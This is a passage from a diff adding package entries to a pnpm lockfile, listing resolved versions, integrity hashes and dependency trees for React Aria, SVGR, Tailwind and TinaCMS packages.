peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@internationalized/date': 3.5.0 + '@internationalized/message': 3.1.1 + '@internationalized/number': 3.4.0 + '@internationalized/string': 3.1.1 + '@react-aria/ssr': 3.9.0(react@17.0.2) + '@react-aria/utils': 3.22.0(react@17.0.2) + '@react-types/shared': 3.22.0(react@17.0.2) + '@swc/helpers': 0.5.3 + react: 17.0.2 + dev: false + + /@react-aria/i18n@3.9.0(react@18.2.0): + resolution: {integrity: sha512-ebGP/sVG0ZtNF4RNFzs/W01tl7waYpBManh1kKWgA4roDPFt/odkgkDBzKGl+ggBb7TQRHsfUFHuqKsrsMy9TA==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@internationalized/date': 3.5.0 + '@internationalized/message': 3.1.1 + '@internationalized/number': 3.4.0 + '@internationalized/string': 3.1.1 + '@react-aria/ssr': 3.9.0(react@18.2.0) + '@react-aria/utils': 3.22.0(react@18.2.0) + '@react-types/shared': 3.22.0(react@18.2.0) + '@swc/helpers': 0.5.3 + react: 18.2.0 + dev: false + + /@react-aria/ssr@3.9.0(react@17.0.2): + resolution: {integrity: sha512-Bz6BqP6ZorCme9tSWHZVmmY+s7AU8l6Vl2NUYmBzezD//fVHHfFo4lFBn5tBuAaJEm3AuCLaJQ6H2qhxNSb7zg==} + engines: {node: '>= 12'} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@swc/helpers': 0.5.3 + react: 17.0.2 + dev: false + + /@react-aria/ssr@3.9.0(react@18.2.0): + resolution: {integrity: sha512-Bz6BqP6ZorCme9tSWHZVmmY+s7AU8l6Vl2NUYmBzezD//fVHHfFo4lFBn5tBuAaJEm3AuCLaJQ6H2qhxNSb7zg==} + engines: {node: '>= 12'} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@swc/helpers': 0.5.3 + react: 18.2.0 + dev: false + + /@react-aria/utils@3.22.0(react@17.0.2): + resolution: {integrity: sha512-Qi/m65GFFljXA/ayj1m5g3KZdgbZY3jacSSqD5vNUOEGiKsn4OQcsw8RfC2c0SgtLV1hLzsfvFI1OiryPlGCcw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@react-aria/ssr': 3.9.0(react@17.0.2) + '@react-stately/utils': 3.9.0(react@17.0.2) + '@react-types/shared': 3.22.0(react@17.0.2) + '@swc/helpers': 0.5.3 + clsx: 1.2.1 + react: 17.0.2 + dev: false + + /@react-aria/utils@3.22.0(react@18.2.0): + resolution: {integrity: sha512-Qi/m65GFFljXA/ayj1m5g3KZdgbZY3jacSSqD5vNUOEGiKsn4OQcsw8RfC2c0SgtLV1hLzsfvFI1OiryPlGCcw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@react-aria/ssr': 3.9.0(react@18.2.0) + '@react-stately/utils': 3.9.0(react@18.2.0) + '@react-types/shared': 3.22.0(react@18.2.0) + '@swc/helpers': 0.5.3 + clsx: 1.2.1 + react: 18.2.0 + dev: false + + /@react-hook/debounce@3.0.0(react@17.0.2): + resolution: {integrity: sha512-ir/kPrSfAzY12Gre0sOHkZ2rkEmM4fS5M5zFxCi4BnCeXh2nvx9Ujd+U4IGpKCuPA+EQD0pg1eK2NGLvfWejag==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/latest': 1.0.3(react@17.0.2) + react: 17.0.2 + dev: false + + /@react-hook/debounce@3.0.0(react@18.2.0): + resolution: {integrity: sha512-ir/kPrSfAzY12Gre0sOHkZ2rkEmM4fS5M5zFxCi4BnCeXh2nvx9Ujd+U4IGpKCuPA+EQD0pg1eK2NGLvfWejag==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/latest': 1.0.3(react@18.2.0) + react: 18.2.0 + dev: false + + /@react-hook/event@1.2.6(react@17.0.2): + resolution: {integrity: sha512-JUL5IluaOdn5w5Afpe/puPa1rj8X6udMlQ9dt4hvMuKmTrBS1Ya6sb4sVgvfe2eU4yDuOfAhik8xhbcCekbg9Q==} + peerDependencies: + react: '>=16.8' + dependencies: + react: 17.0.2 + dev: false + + /@react-hook/event@1.2.6(react@18.2.0): + resolution: {integrity: sha512-JUL5IluaOdn5w5Afpe/puPa1rj8X6udMlQ9dt4hvMuKmTrBS1Ya6sb4sVgvfe2eU4yDuOfAhik8xhbcCekbg9Q==} + peerDependencies: + react: '>=16.8' + dependencies: + react: 18.2.0 + dev: false + + /@react-hook/latest@1.0.3(react@17.0.2): + resolution: {integrity: sha512-dy6duzl+JnAZcDbNTfmaP3xHiKtbXYOaz3G51MGVljh548Y8MWzTr+PHLOfvpypEVW9zwvl+VyKjbWKEVbV1Rg==} + peerDependencies: + react: '>=16.8' + dependencies: + react: 17.0.2 + dev: false + + /@react-hook/latest@1.0.3(react@18.2.0): + resolution: {integrity: sha512-dy6duzl+JnAZcDbNTfmaP3xHiKtbXYOaz3G51MGVljh548Y8MWzTr+PHLOfvpypEVW9zwvl+VyKjbWKEVbV1Rg==} + peerDependencies: + react: '>=16.8' + dependencies: + react: 18.2.0 + dev: false + + /@react-hook/throttle@2.2.0(react@17.0.2): + resolution: {integrity: sha512-LJ5eg+yMV8lXtqK3lR+OtOZ2WH/EfWvuiEEu0M3bhR7dZRfTyEJKxH1oK9uyBxiXPtWXiQggWbZirMCXam51tg==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/latest': 1.0.3(react@17.0.2) + react: 17.0.2 + dev: false + + /@react-hook/throttle@2.2.0(react@18.2.0): + resolution: {integrity: sha512-LJ5eg+yMV8lXtqK3lR+OtOZ2WH/EfWvuiEEu0M3bhR7dZRfTyEJKxH1oK9uyBxiXPtWXiQggWbZirMCXam51tg==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/latest': 1.0.3(react@18.2.0) + react: 18.2.0 + dev: false + + /@react-hook/window-size@3.1.1(react@17.0.2): + resolution: {integrity: sha512-yWnVS5LKnOUIrEsI44oz3bIIUYqflamPL27n+k/PC//PsX/YeWBky09oPeAoc9As6jSH16Wgo8plI+ECZaHk3g==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/debounce': 3.0.0(react@17.0.2) + '@react-hook/event': 1.2.6(react@17.0.2) + '@react-hook/throttle': 2.2.0(react@17.0.2) + react: 17.0.2 + dev: false + + /@react-hook/window-size@3.1.1(react@18.2.0): + resolution: {integrity: sha512-yWnVS5LKnOUIrEsI44oz3bIIUYqflamPL27n+k/PC//PsX/YeWBky09oPeAoc9As6jSH16Wgo8plI+ECZaHk3g==} + peerDependencies: + react: '>=16.8' + dependencies: + '@react-hook/debounce': 3.0.0(react@18.2.0) + '@react-hook/event': 1.2.6(react@18.2.0) + '@react-hook/throttle': 2.2.0(react@18.2.0) + react: 18.2.0 + dev: false + + /@react-stately/utils@3.9.0(react@17.0.2): + resolution: {integrity: sha512-yPKFY1F88HxuZ15BG2qwAYxtpE4HnIU0Ofi4CuBE0xC6I8mwo4OQjDzi+DZjxQngM9D6AeTTD6F1V8gkozA0Gw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@swc/helpers': 0.5.3 + react: 17.0.2 + dev: false + + /@react-stately/utils@3.9.0(react@18.2.0): + resolution: {integrity: sha512-yPKFY1F88HxuZ15BG2qwAYxtpE4HnIU0Ofi4CuBE0xC6I8mwo4OQjDzi+DZjxQngM9D6AeTTD6F1V8gkozA0Gw==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@swc/helpers': 0.5.3 + react: 18.2.0 + dev: false + + /@react-types/combobox@3.9.0(react@17.0.2): + resolution: {integrity: sha512-VAQWM2jrIWROgcTKxj4k37WWpK/1zRjj1HfGeuenAQyOQwImqDwCHx5YxQR1GiUEFne4v1yXe2khT0T5Kt2vDg==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@react-types/shared': 3.22.0(react@17.0.2) + react: 17.0.2 + dev: false + + /@react-types/combobox@3.9.0(react@18.2.0): + resolution: {integrity: sha512-VAQWM2jrIWROgcTKxj4k37WWpK/1zRjj1HfGeuenAQyOQwImqDwCHx5YxQR1GiUEFne4v1yXe2khT0T5Kt2vDg==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + '@react-types/shared': 3.22.0(react@18.2.0) + react: 18.2.0 + dev: false + + /@react-types/shared@3.22.0(react@17.0.2): + resolution: {integrity: sha512-yVOekZWbtSmmiThGEIARbBpnmUIuePFlLyctjvCbgJgGhz8JnEJOipLQ/a4anaWfzAgzSceQP8j/K+VOOePleA==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + react: 17.0.2 + dev: false + + /@react-types/shared@3.22.0(react@18.2.0): + resolution: {integrity: sha512-yVOekZWbtSmmiThGEIARbBpnmUIuePFlLyctjvCbgJgGhz8JnEJOipLQ/a4anaWfzAgzSceQP8j/K+VOOePleA==} + peerDependencies: + react: ^16.8.0 || ^17.0.0-rc.1 || ^18.0.0 + dependencies: + react: 18.2.0 + dev: false + + /@rollup/pluginutils@5.1.0: + resolution: {integrity: sha512-XTIWOPPcpvyKI6L1NHo0lFlCyznUEyPmPY1mc3KpPVDYulHSTvyeLNVW00QTLIAFNhR3kYnJTQHeGqU4M3n09g==} + engines: {node: '>=14.0.0'} + peerDependencies: + rollup: ^1.20.0||^2.0.0||^3.0.0||^4.0.0 + peerDependenciesMeta: + rollup: + optional: true + dependencies: + '@types/estree': 1.0.5 + estree-walker: 2.0.2 + picomatch: 2.3.1 + dev: false + + /@sambego/storybook-styles@1.0.0: + resolution: {integrity: sha512-n0SqZwDewUDRaStEcoNMiYy9qovaLVStsh4Gb2dc2LLiG3IIK0UXdeR1N7puVuRihJq/192uOyGPCjZ/NAteuA==} + dev: false + + /@svgr/babel-plugin-add-jsx-attribute@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-9PYGcXrAxitycIjRmZB+Q0JaN07GZIWaTBIGQzfaZv+qr1n8X1XUEJ5rZ/vx6OVD9RRYlrNnXWExQXcmZeD/BQ==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-remove-jsx-attribute@8.0.0(@babel/core@7.23.5): + resolution: {integrity: sha512-BcCkm/STipKvbCl6b7QFrMh/vx00vIP63k2eM66MfHJzPr6O2U0jYEViXkHJWqXqQYjdeA9cuCl5KWmlwjDvbA==} + engines: {node: '>=14'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-remove-jsx-empty-expression@8.0.0(@babel/core@7.23.5): + resolution: {integrity: sha512-5BcGCBfBxB5+XSDSWnhTThfI9jcO5f0Ai2V24gZpG+wXF14BzwxxdDb4g6trdOux0rhibGs385BeFMSmxtS3uA==} + engines: {node: '>=14'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-replace-jsx-attribute-value@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-8DPaVVE3fd5JKuIC29dqyMB54sA6mfgki2H2+swh+zNJoynC8pMPzOkidqHOSc6Wj032fhl8Z0TVn1GiPpAiJg==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-svg-dynamic-title@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-FwOEi0Il72iAzlkaHrlemVurgSQRDFbk0OC8dSvD5fSBPHltNh7JtLsxmZUhjYBZo2PpcU/RJvvi6Q0l7O7ogw==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-svg-em-dimensions@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-gWGsiwjb4tw+ITOJ86ndY/DZZ6cuXMNE/SjcDRg+HLuCmwpcjOktwRF9WgAiycTqJD/QXqL2f8IzE2Rzh7aVXA==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-transform-react-native-svg@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-2jT3nTayyYP7kI6aGutkyfJ7UMGtuguD72OjeGLwVNyfPRBD8zQthlvL+fAbAKk5n9ZNcvFkp/b1lZ7VsYqVJg==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-plugin-transform-svg-component@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-a1p6LF5Jt33O3rZoVRBqdxL350oge54iZWHNI6LJB5tQ7EelvD/Mb1mfBiZNAan0dt4i3VArkFRjA4iObuNykQ==} + engines: {node: '>=12'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + dev: false + + /@svgr/babel-preset@6.5.1(@babel/core@7.23.5): + resolution: {integrity: sha512-6127fvO/FF2oi5EzSQOAjo1LE3OtNVh11R+/8FXa+mHx1ptAaS4cknIjnUA7e6j6fwGGJ17NzaTJFUwOV2zwCw==} + engines: {node: '>=10'} + peerDependencies: + '@babel/core': ^7.0.0-0 + dependencies: + '@babel/core': 7.23.5 + '@svgr/babel-plugin-add-jsx-attribute': 6.5.1(@babel/core@7.23.5) + '@svgr/babel-plugin-remove-jsx-attribute': 8.0.0(@babel/core@7.23.5) + '@svgr/babel-plugin-remove-jsx-empty-expression': 8.0.0(@babel/core@7.23.5) + '@svgr/babel-plugin-replace-jsx-attribute-value': 6.5.1(@babel/core@7.23.5) + '@svgr/babel-plugin-svg-dynamic-title': 6.5.1(@babel/core@7.23.5) + '@svgr/babel-plugin-svg-em-dimensions': 6.5.1(@babel/core@7.23.5) + '@svgr/babel-plugin-transform-react-native-svg': 6.5.1(@babel/core@7.23.5) + '@svgr/babel-plugin-transform-svg-component': 6.5.1(@babel/core@7.23.5) + dev: false + + /@svgr/core@6.3.1: + resolution: {integrity: sha512-Sm3/7OdXbQreemf9aO25keerZSbnKMpGEfmH90EyYpj1e8wMD4TuwJIb3THDSgRMWk1kYJfSRulELBy4gVgZUA==} + engines: {node: '>=10'} + dependencies: + '@svgr/plugin-jsx': 6.5.1(@svgr/core@6.3.1) + camelcase: 6.3.0 + cosmiconfig: 7.1.0 + transitivePeerDependencies: + - supports-color + dev: false + + /@svgr/hast-util-to-babel-ast@6.5.1: + resolution: {integrity: sha512-1hnUxxjd83EAxbL4a0JDJoD3Dao3hmjvyvyEV8PzWmLK3B9m9NPlW7GKjFyoWE8nM7HnXzPcmmSyOW8yOddSXw==} + engines: {node: '>=10'} + dependencies: + '@babel/types': 7.23.5 + entities: 4.5.0 + dev: false + + /@svgr/plugin-jsx@6.5.1(@svgr/core@6.3.1): + resolution: {integrity: sha512-+UdQxI3jgtSjCykNSlEMuy1jSRQlGC7pqBCPvkG/2dATdWo082zHTTK3uhnAju2/6XpE6B5mZ3z4Z8Ns01S8Gw==} + engines: {node: '>=10'} + peerDependencies: + '@svgr/core': ^6.0.0 + dependencies: + '@babel/core': 7.23.5 + '@svgr/babel-preset': 6.5.1(@babel/core@7.23.5) + '@svgr/core': 6.3.1 + '@svgr/hast-util-to-babel-ast': 6.5.1 + svg-parser: 2.0.4 + transitivePeerDependencies: + - supports-color + dev: false + + /@swc/helpers@0.5.2: + resolution: {integrity: sha512-E4KcWTpoLHqwPHLxidpOqQbcrZVgi0rsmmZXUle1jXmJfuIf/UWpczUJ7MZZ5tlxytgJXyp0w4PGkkeLiuIdZw==} + dependencies: + tslib: 2.6.2 + dev: false + + /@swc/helpers@0.5.3: + resolution: {integrity: sha512-FaruWX6KdudYloq1AHD/4nU+UsMTdNE8CKyrseXWEcgjDAbvkwJg2QGPAnfIJLIWsjZOSPLOAykK6fuYp4vp4A==} + dependencies: + tslib: 2.6.2 + dev: false + + /@tailwindcss/aspect-ratio@0.4.2(tailwindcss@3.3.6): + resolution: {integrity: sha512-8QPrypskfBa7QIMuKHg2TA7BqES6vhBrDLOv8Unb6FcFyd3TjKbc6lcmb9UPQHxfl24sXoJ41ux/H7qQQvfaSQ==} + peerDependencies: + tailwindcss: '>=2.0.0 || >=3.0.0 || >=3.0.0-alpha.1' + dependencies: + tailwindcss: 3.3.6 + dev: false + + /@tailwindcss/line-clamp@0.3.1(tailwindcss@3.3.6): + resolution: {integrity: sha512-pNr0T8LAc3TUx/gxCfQZRe9NB2dPEo/cedPHzUGIPxqDMhgjwNm6jYxww4W5l0zAsAddxr+XfZcqttGiFDgrGg==} + peerDependencies: + tailwindcss: '>=2.0.0 || >=3.0.0 || >=3.0.0-alpha.1' + dependencies: + tailwindcss: 3.3.6 + dev: false + + /@tailwindcss/typography@0.5.10(tailwindcss@3.3.6): + resolution: {integrity: sha512-Pe8BuPJQJd3FfRnm6H0ulKIGoMEQS+Vq01R6M5aCrFB/ccR/shT+0kXLjouGC1gFLm9hopTFN+DMP0pfwRWzPw==} + peerDependencies: + tailwindcss: '>=3.0.0 || insiders' + dependencies: + lodash.castarray: 4.4.0 + lodash.isplainobject: 4.0.6 + lodash.merge: 4.6.2 + postcss-selector-parser: 6.0.10 + tailwindcss: 3.3.6 + dev: false + + /@tinacms/app@1.2.35(@babel/core@7.23.5)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(yup@0.32.11): + resolution: {integrity: sha512-ycVA5R9OeHbScHTkU04l4sZUXSjx26vKZ1ePjUbJd09LNb2ewlC+oG2uO6N07PETfnqzwQFVIRxnj7BBULKLng==} + dependencies: + '@codemirror/language': 6.0.0 + '@graphiql/toolkit': 0.8.4(@types/node@20.10.3)(graphql@15.8.0) + '@headlessui/react': 1.6.6(react-dom@17.0.2)(react@17.0.2) + '@heroicons/react': 1.0.6(react@17.0.2) + '@monaco-editor/react': 4.4.5(monaco-editor@0.31.0)(react-dom@17.0.2)(react@17.0.2) + '@tinacms/mdx': 1.3.23(react@17.0.2)(yup@0.32.11) + '@xstate/react': 3.0.0(@types/react@18.2.7)(react@17.0.2) + final-form: 4.20.10 + graphiql: 3.0.0-alpha.1(@codemirror/language@6.0.0)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(graphql@15.8.0)(react-dom@17.0.2)(react@17.0.2) + graphql: 15.8.0 + monaco-editor: 0.31.0 + postcss: 8.4.32 + react: 17.0.2 + react-dom: 17.0.2(react@17.0.2) + react-router-dom: 6.3.0(react-dom@17.0.2)(react@17.0.2) + tailwindcss: 3.3.6 + tinacms: 1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@17.0.2)(react@17.0.2) + typescript: 4.9.5 + zod: 3.22.4 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/node' + - '@types/react' + - '@types/react-dom' + - '@xstate/fsm' + - graphql-ws + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - react-native + - supports-color + - ts-node + - xstate + - yup + dev: false + + /@tinacms/auth@1.0.4: + resolution: {integrity: sha512-M+lX+oIJpmxtyRprQ9hlQk2J/32XduESJDQ0dA3m8g8Z6QhSlP/7Eg09ocgFSCyJDj50tit8hpLTrbtlEpz4+A==} + dependencies: + fetch-ponyfill: 7.1.0(encoding@0.1.13) + transitivePeerDependencies: + - encoding + dev: false + + /@tinacms/cli@1.5.39(@babel/core@7.23.5)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0): + resolution: {integrity: sha512-IAYYSWXVvIdeMCbRvuXH70UKcnoekGfy65eZAb2e/QyId0bcuRbPR/kBr8I+ogozmL5CoEXCP+tm2RgRY1O5Ow==} + hasBin: true + dependencies: + '@graphql-codegen/core': 2.6.8(graphql@15.8.0) + '@graphql-codegen/plugin-helpers': 5.0.1(graphql@15.8.0) + '@graphql-codegen/typescript': 4.0.1(graphql@15.8.0) + '@graphql-codegen/typescript-generic-sdk': 3.1.0(graphql-tag@2.12.6)(graphql@15.8.0) + '@graphql-codegen/typescript-operations': 4.0.1(graphql@15.8.0) + '@graphql-codegen/visitor-plugin-common': 4.0.1(graphql@15.8.0) + '@graphql-inspector/core': 4.2.2(graphql@15.8.0) + '@graphql-tools/graphql-file-loader': 7.5.17(graphql@15.8.0) + '@graphql-tools/load': 7.8.14(graphql@15.8.0) + '@rollup/pluginutils': 5.1.0 + '@svgr/core': 6.3.1 + '@tailwindcss/aspect-ratio': 0.4.2(tailwindcss@3.3.6) + '@tailwindcss/line-clamp': 0.3.1(tailwindcss@3.3.6) + '@tailwindcss/typography': 0.5.10(tailwindcss@3.3.6) + '@tinacms/app': 1.2.35(@babel/core@7.23.5)(@types/node@20.10.3)(@types/react-dom@18.2.4)(@types/react@18.2.7)(yup@0.32.11) + '@tinacms/datalayer': 1.2.32(react@18.2.0) + '@tinacms/graphql': 1.4.32(react@18.2.0) + '@tinacms/metrics': 1.0.2(fs-extra@9.1.0) + '@tinacms/schema-tools': 1.4.15(react@18.2.0)(yup@0.32.11) + '@tinacms/search': 1.0.17(encoding@0.1.13)(react@18.2.0)(yup@0.32.11) + '@vitejs/plugin-react': 3.1.0(vite@4.5.1) + ajv: 6.12.6 + altair-express-middleware: 4.0.6 + auto-bind: 4.0.0 + axios: 0.21.2 + body-parser: 1.20.2 + busboy: 1.6.0 + chalk: 2.4.2 + chokidar: 3.5.3 + cli-spinner: 0.2.10 + clipanion: 3.2.1(typanion@3.13.0) + cors: 2.8.5 + crypto-js: 4.2.0 + dotenv: 16.3.1 + esbuild: 0.18.20 + express: 4.18.2 + fast-glob: 3.3.2 + fs-extra: 9.1.0 + graphql: 15.8.0 + graphql-tag: 2.12.6(graphql@15.8.0) + ini: 3.0.1 + is-unicode-supported: 1.3.0 + js-yaml: 4.1.0 + lodash: 4.17.21 + lodash.get: 4.4.2 + log4js: 6.9.1 + many-level: 2.0.0 + memory-level: 1.0.0 + minimatch: 5.1.6 + multer: 1.4.5-lts.1 + node-fetch: 2.7.0(encoding@0.1.13) + normalize-path: 3.0.0 + postcss: 8.4.32 + prettier: 2.8.8 + progress: 2.0.3 + prompts: 2.4.2 + readable-stream: 4.4.2 + rollup-plugin-visualizer: 5.10.0 + tailwindcss: 3.3.6 + tinacms: 1.5.28(@babel/core@7.23.5)(@types/react-dom@18.2.4)(@types/react@18.2.7)(react-dom@18.2.0)(react@18.2.0) + typanion: 3.13.0 + typescript: 4.3.5 + url-pattern: 1.0.3 + vite: 4.5.1(@types/node@20.10.3) + yarn: 1.22.21 + yup: 0.32.11 + zod: 3.22.4 + transitivePeerDependencies: + - '@babel/core' + - '@babel/template' + - '@types/node' + - '@types/react' + - '@types/react-dom' + - '@xstate/fsm' + - debug + - encoding + - graphql-ws + - jotai-devtools + - jotai-immer + - jotai-optics + - jotai-redux + - jotai-tanstack-query + - jotai-urql + - jotai-valtio + - jotai-xstate + - jotai-zustand + - less + - lightningcss + - react + - react-dom + - react-native + - rollup + - sass + - stylus + - sugarss + - supports-color + - terser + - ts-node + - xstate + dev: false + + /@tinacms/datalayer@1.2.32(react@18.2.0): + resolution: {integrity: sha512-loxQhW19GnIQ9S10m4sDLn2rQSmYCMtlnN2skA9poZBL4TmWo2Zs1Tioe+uN3kWPyH6kA0IShhPP9ZujQNukfg==} + dependencies: + '@tinacms/graphql': 1.4.32(react@18.2.0) + transitivePeerDependencies: + - react + - supports-color + dev: false + + /@tinacms/graphql@1.4.32(react@17.0.2): + resolution: {integrity: sha512-wqCxZjPmV/ncuWmb91hfTdVoouX6HMq69JUyUUeYNmmf1kujBrtovqqABIA5ryI9RPtx0nENcr09XNLgihNjEQ==} + dependencies: + '@iarna/toml': 2.2.5 + '@tinacms/mdx': 1.3.23(react@17.0.2)(yup@0.32.11) + '@tinacms/schema-tools': 1.4.15(react@17.0.2)(yup@0.32.11) + abstract-level: 1.0.3 + body-parser: 1.20.2 + cors: 2.8.5 + dataloader: 2.2.2 + date-fns: 2.30.0 + encoding-down: 7.1.0 + estree-walker: 3.0.3 + fast-glob: 3.3.2 + fs-extra: 9.1.0 + glob-parent: 6.0.2 + graphql: 15.8.0 + gray-matter: 4.0.3 + isomorphic-git: 1.25.0 + js-sha1: 0.6.0 + js-yaml: 3.14.1 + jsonpath-plus: 6.0.1 + lodash: 4.17.21 + many-level: 2.0.0 + micromatch: 4.0.5 + normalize-path: 3.0.0 + readable-stream: 4.4.2 + scmp: 2.1.0 + yup: 0.32.11 + transitivePeerDependencies: + - react + - supports-color + dev: false + + /@tinacms/graphql@1.4.32(react@18.2.0): + resolution: {integrity: sha512-wqCxZjPmV/ncuWmb91hfTdVoouX6HMq69JUyUUeYNmmf1kujBrtovqqABIA5ryI9RPtx0nENcr09XNLgihNjEQ==} + dependencies: + '@iarna/toml': 2.2.5 + '@tinacms/mdx': 1.3.23(react@18.2.0)(yup@0.32.11) + '@tinacms/schema-tools': 1.4.15(react@18.2.0)(yup@0.32.11) + abstract-level: 1.0.3 + body-parser: 1.20.2 + cors: 2.8.5 + dataloader: 2.2.2 + date-fns: 2.30.0 + encoding-down: 7.1.0 + estree-walker: 3.0.3 + fast-glob: 3.3.2 + fs-extra: 9.1.0 + glob-parent: 6.0.2 + graphql: 15.8.0 + gray-matter: 4.0.3 + isomorphic-git: 1.25.0 + js-sha1: 0.6.0 + js-yaml: 3.14.1 + jsonpath-plus: 6.0.1 + lodash: 4.17.21 + many-level: 2.0.0 + micromatch: 4.0.5 + normalize-path: 3.0.0 + readable-stream: 4.4.2 + scmp: 2.1.0 + yup: 0.32.11 + transitivePeerDependencies: + - react + - supports-color + dev: false + + /@tinacms/mdx@1.3.23(react@17.0.2)(yup@0.32.11): + resolution: {integrity: sha512-EnBXXEkOLJ+OiL1hOCfXoBjGMy7MZr7FmNJ71r91UBHXN0gPPYpxUSVwfQ5TnPKmVNgRfFI7IVbZZvmX8vqXhw==} + dependencies: + '@tinacms/schema-tools': 1.4.15(react@17.0.2)(yup@0.32.11) + acorn: 8.8.2 + ccount: 2.0.1 + estree-util-is-identifier-name: 2.1.0 + lodash-es: 4.17.21 + mdast-util-compact: 4.1.1 + mdast-util-directive: 2.2.4 + mdast-util-from-markdown: 1.3.0 + mdast-util-gfm: 2.0.2 + mdast-util-mdx: 2.0.1 + mdast-util-mdx-jsx: 2.1.2 + mdast-util-to-markdown: 1.5.0 + micromark-extension-gfm: 2.0.3 + micromark-factory-mdx-expression: 1.0.7 + micromark-factory-space: 1.0.0 + micromark-factory-whitespace: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + parse-entities: 4.0.1 + prettier: 2.8.8 + remark: 14.0.2 + remark-gfm: 2.0.0 + remark-mdx: 2.3.0 + stringify-entities: 4.0.3 + unist-util-source: 4.0.2 + unist-util-stringify-position: 3.0.3 + unist-util-visit: 4.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + transitivePeerDependencies: + - react + - supports-color + - yup + dev: false + + /@tinacms/mdx@1.3.23(react@18.2.0)(yup@0.32.11): + resolution: {integrity: sha512-EnBXXEkOLJ+OiL1hOCfXoBjGMy7MZr7FmNJ71r91UBHXN0gPPYpxUSVwfQ5TnPKmVNgRfFI7IVbZZvmX8vqXhw==} + dependencies: + '@tinacms/schema-tools': 1.4.15(react@18.2.0)(yup@0.32.11) + acorn: 8.8.2 + ccount: 2.0.1 + estree-util-is-identifier-name: 2.1.0 + lodash-es: 4.17.21 + mdast-util-compact: 4.1.1 + mdast-util-directive: 2.2.4 + mdast-util-from-markdown: 1.3.0 + mdast-util-gfm: 2.0.2 + mdast-util-mdx: 2.0.1 + mdast-util-mdx-jsx: 2.1.2 + mdast-util-to-markdown: 1.5.0 + micromark-extension-gfm: 2.0.3 + micromark-factory-mdx-expression: 1.0.7 + micromark-factory-space: 1.0.0 + micromark-factory-whitespace: 1.0.0 + micromark-util-character: 1.1.0 + micromark-util-symbol: 1.0.1 + micromark-util-types: 1.0.2 + parse-entities: 4.0.1 + prettier: 2.8.8 + remark: 14.0.2 + remark-gfm: 2.0.0 + remark-mdx: 2.3.0 + stringify-entities: 4.0.3 + unist-util-source: 4.0.2 + unist-util-stringify-position: 3.0.3 + unist-util-visit: 4.1.2 + uvu: 0.5.6 + vfile-message: 3.1.4 + transitivePeerDependencies: + - react + - supports-color + - yup + dev: false + + /@tinacms/metrics@1.0.2(fs-extra@9.1.0): + resolution: {integrity: sha512-PoXdZDXi3C4GqnPoTAEQWfKR1XxocOzTBje8dpTxTQ2J9WIeSUXKg8Gd1kNUVgW4XIZH6vtWqhqr1Ir8/O9M8w==} + peerDependencies: + fs-extra: ^9.0.1 + dependencies: + fs-extra: 9.1.0 + isomorphic-fetch: 3.0.0 + transitivePeerDependencies: + - encoding + dev: false + + /@tinacms/schema-tools@1.4.15(react@17.0.2)(yup@0.32.11): + resolution: {integrity: sha512-fVeYpxKTRdf7mc4+BDj0HmEQ2Pi+iapXFj0QIdlIvj5TmHsQELt8rTkpiwbUELj07Un5iD/+dYIrwZWbIrPoBw==} + peerDependencies: + react: '>=16.14.0' + yup: 